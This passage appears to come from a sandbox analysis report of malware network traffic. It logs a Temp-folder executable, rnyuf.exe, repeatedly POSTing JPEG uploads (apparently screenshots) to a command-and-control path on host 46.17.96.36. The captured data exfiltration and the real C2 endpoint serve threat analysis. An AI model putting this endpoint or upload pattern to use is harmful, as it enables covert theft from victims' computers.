Aug 29, 2021 22:27:09.812849998 CEST	1518	OUT	Data Raw: 56 1d 46 29 a0 8f 5a 0b 0f 5a 61 61 c6 9b 46 45 19 a5 74 00 69 28 26 90 9a 40 38 53 c5 30 1a 76 6a 93 13 40 7a d1 de 90 9a 33 9a 00 53 47 6a 05 14 08 51 4b 8a 07 34 13 8a a0 0a 5f 7a 40 68 cd 02 b0 f1 4b 4d 07 9a 75 32 42 90 d2 d0 69 80 83 a5 2e Data Ascii: VF)ZZaaFEti(&@8S0vj@z3SGjQK4_z@hKMu2Bi.(P1NP)uJdZ`(65DfNM>0R(Jh;u4pxBcRzEM"e4`GqC;S39,>L2,:4
Aug 29, 2021 22:27:09.920275927 CEST	1555	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49776	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:27.825628996 CEST	5501	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----18482e8eccd3978e1e99c57ecdc4fd2f Host: 46.17.96.36 Content-Length: 109159 Cache-Control: no-cache
Aug 29, 2021 22:27:27.826050997 CEST	5502	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 38 34 38 32 65 38 65 63 63 64 33 39 37 38 65 31 65 39 39 63 35 37 65 63 64 63 34 66 64 32 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------18482e8eccd3978e1e99c57ecdc4fd2fContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:27.826472998 CEST	5512	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:27.826848984 CEST	5514	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:27.858918905 CEST	5517	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:27.859014988 CEST	5525	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:27.859352112 CEST	5528	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:27.859502077 CEST	5535	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:27.859544992 CEST	5540	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:27.892518044 CEST	5543	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:27.892582893 CEST	5561	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:27.991939068 CEST	5611	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49777	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:28.260916948 CEST	5612	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0eca12f9569ffde04e01e318ef40cd43 Host: 46.17.96.36 Content-Length: 109213 Cache-Control: no-cache
Aug 29, 2021 22:27:28.260962009 CEST	5612	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 65 63 61 31 32 66 39 35 36 39 66 66 64 65 30 34 65 30 31 65 33 31 38 65 66 34 30 63 64 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0eca12f9569ffde04e01e318ef40cd43Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:28.261349916 CEST	5622	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:28.261395931 CEST	5625	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:28.297034025 CEST	5628	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:28.297112942 CEST	5636	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:28.297147036 CEST	5644	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:28.297178984 CEST	5650	OUT	Data Raw: 1f c3 56 c5 cb 8f 7a 91 6e bd 68 f6 70 7d 43 da 54 46 69 86 41 fc 26 9a 55 87 50 45 6b 7d a5 0f 55 14 be 64 2d d5 45 3f 63 17 b3 0f 6c fa a3 23 14 95 ae 52 dd bb 51 f6 4b 73 d3 8a 9f 62 fa 31 fb 75 d5 19 34 56 a9 d3 e3 3d 1a a3 3a 61 ec c2 97 b1 Data Ascii: Vznhp}CTFiA&UPEk}Ud-E?cl#RQKsb1u4V=:a{hx4e0KIt)TUijco"2;\KFKJp1J2n%-4!ih%8RSP(.($ZpSi,ZQIJ--%8SD;H.(&LShG.(>P!FmsG(s
Aug 29, 2021 22:27:28.334072113 CEST	5653	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:28.334104061 CEST	5656	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:28.334187984 CEST	5672	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:28.445931911 CEST	5722	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.4	49778	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:28.676486969 CEST	5723	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----5ccf81e5d5beedf32ef8d7c3d7ac6c8c Host: 46.17.96.36 Content-Length: 108017 Cache-Control: no-cache
Aug 29, 2021 22:27:28.676611900 CEST	5723	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 63 63 66 38 31 65 35 64 35 62 65 65 64 66 33 32 65 66 38 64 37 63 33 64 37 61 63 36 63 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------5ccf81e5d5beedf32ef8d7c3d7ac6c8cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:28.676836967 CEST	5733	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:28.676965952 CEST	5735	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:28.710676908 CEST	5744	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:28.710719109 CEST	5756	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:28.710733891 CEST	5761	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:28.745495081 CEST	5766	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:28.745538950 CEST	5777	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:28.745611906 CEST	5799	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:27:28.745683908 CEST	5810	OUT	Data Raw: 4a 33 4c 43 85 3a 98 0d 2e 69 8a c4 82 96 98 0d 38 1a ab 93 61 c2 9d 9a 8c 1a 5c d3 b9 36 24 06 97 35 1e 68 cd 3b 8a c4 bb a8 dd 51 6e a3 75 3e 60 e5 26 0d 46 ea 84 1a 70 34 f9 85 ca 4c 1a 8d de f5 0e 69 73 4f 98 5c a4 bb a8 2d 51 66 8d d4 b9 83 Data Ascii: J3LC:.i8a\6$5h;Qnu>`&Fp4LisO\-QfuPK3Q<uqX~hGK3QyPi2hBhWO\!J)M.j<4`4iiZb$Gp5I(<SZ)A!Z<6E&ii)NKxL-Rh
Aug 29, 2021 22:27:28.850677013 CEST	5830	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.4	49779	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:29.129292965 CEST	5831	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----5ccf81e5d5beedf32ef8d7c3d7ac6c8c Host: 46.17.96.36 Content-Length: 108017 Cache-Control: no-cache
Aug 29, 2021 22:27:29.129467964 CEST	5831	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 63 63 66 38 31 65 35 64 35 62 65 65 64 66 33 32 65 66 38 64 37 63 33 64 37 61 63 36 63 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------5ccf81e5d5beedf32ef8d7c3d7ac6c8cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:29.129683971 CEST	5841	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:29.129825115 CEST	5844	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:29.165026903 CEST	5849	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:29.165091991 CEST	5852	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:29.165568113 CEST	5864	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:29.165612936 CEST	5869	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:29.200702906 CEST	5877	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:29.200740099 CEST	5883	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
